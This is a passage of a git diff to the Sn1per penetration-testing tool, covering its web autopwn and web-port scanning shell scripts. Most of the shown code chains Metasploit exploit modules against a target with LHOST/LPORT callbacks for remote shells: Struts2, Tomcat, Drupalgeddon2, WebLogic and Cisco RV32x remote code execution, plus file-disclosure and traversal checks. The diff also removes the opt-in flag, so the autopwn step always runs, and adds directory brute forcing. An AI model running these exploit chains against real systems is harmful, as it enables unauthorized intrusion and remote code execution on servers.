"s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE STRUTS 2 REST XSTREAM RCE CVE-2017-9791 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/tomcat_jsp_upload_bypass; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE STRUTS 2 NAMESPACE REDIRECT OGNL INJECTION CVE-2018-11776 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/struts2_namespace_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use auxiliary/scanner/http/cisco_directory_traversal; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING ORACLE WEBLOGIC SERVER DESERIALIZATION RCE CVE-2018-2628 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING OSCOMMERCE INSTALLER RCE CVE-2018-2628 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/oscommerce_installer_unauth_code_exec; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING DRUPAL REST UNSERIALIZE CVE-2019-6340 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use unix/webapp/drupal_restws_unserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING JAVA RMI SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use auxiliary/scanner/misc/java_rmi_server; setg RHOSTS \"$TARGET\"; set RPORT \"$PORT\"; run; back; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING PULSE SECURE VPN ARBITRARY FILE DISCLOSURE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use gather/pulse_secure_file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING CITRIX GATEWAY ARBITRARY CODE EXECUTION VULNERABILITY CVE-2019-19781 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -vk --path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep "You don’t have permission to access /vpns/" >/dev/null && echo "VULNERABLE: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt || echo "MITIGATED: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING RAILS FILE EXPOSURE EXPLOIT CVE-2019-5418 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use auxiliary/gather/rails_doubletap_file_read; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING CISCO RV320 AND RV325 UNAUTHENTICATED RCE EXPLOIT CVE-2019-1653 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/linux/http/cisco_rv32x_rce; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw 2> /dev/null - if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" - echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + source $INSTALL_DIR/modes/sc0pe-active-scan.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" fi \ No newline at end of file diff --git a/modes/webporthttp.sh b/modes/webporthttp.sh index 483d2fd..9c747ed 100644 --- a/modes/webporthttp.sh +++ b/modes/webporthttp.sh @@ -83,9 +83,9 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET-$PORT.txt 2> /dev/null - curl --connect-timeout 5 -I -s -R http://$TARGET:$PORT | tee $LOOT_DIR/web/headers-http-$TARGET-$PORT.txt 2> /dev/null - curl --connect-timeout 5 -I -s -R -L http://$TARGET:$PORT | tee $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS http://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null + curl --connect-timeout 5 -I -s -R --insecure http://$TARGET:$PORT | tee $LOOT_DIR/web/headers-http-$TARGET-$PORT.txt 2> /dev/null + curl --connect-timeout 5 -I -s -R -L --insecure http://$TARGET:$PORT | tee $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s -R --insecure -X OPTIONS http://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -178,6 +178,12 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null fi + if [[ "$GUA" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED FETCHING GUA URLS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + gua2 -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null + fi if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" @@ -190,6 +196,7 @@ if [[ "$MODE" = "webporthttp" ]]; then cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sed -ir "s//dev/null sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -208,8 +215,7 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,500,502,503,504 -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-common.txt @@ -220,7 +226,7 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-full.txt @@ -231,7 +237,7 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-exploits.txt @@ -305,12 +311,15 @@ if [[ "$MODE" = "webporthttp" ]]; then rm -f $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw 2> /dev/null cd $INSTALL_DIR fi - if [[ $METASPLOIT_EXPLOIT = "1" ]]; then - SSL="false" - source modes/web_autopwn.sh - fi + + SSL="false" + source modes/web_autopwn.sh source modes/osint_stage_2.sh + fi + + source modes/sc0pe.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" diff --git a/modes/webporthttps.sh b/modes/webporthttps.sh index 5823960..0df04bf 100644 --- a/modes/webporthttps.sh +++ b/modes/webporthttps.sh @@ -84,9 +84,9 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET-$PORT.txt 2> /dev/null - curl --connect-timeout 5 -I -s -R https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null - curl --connect-timeout 5 -I -s -R -L https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS https://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null + curl --connect-timeout 5 -I -s -R --insecure https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null + curl --connect-timeout 5 -I -s -R -L --insecure https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s -R --insecure -X OPTIONS https://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" @@ -194,6 +194,12 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null fi + if [[ "$GUA" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED FETCHING GUA URLS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + gua2 -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null + fi if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" @@ -206,6 +212,7 @@ if [[ "$MODE" = "webporthttps" ]]; then cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sed -ir "s//dev/null sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -224,8 +231,7 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,500,502,503,504 -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" 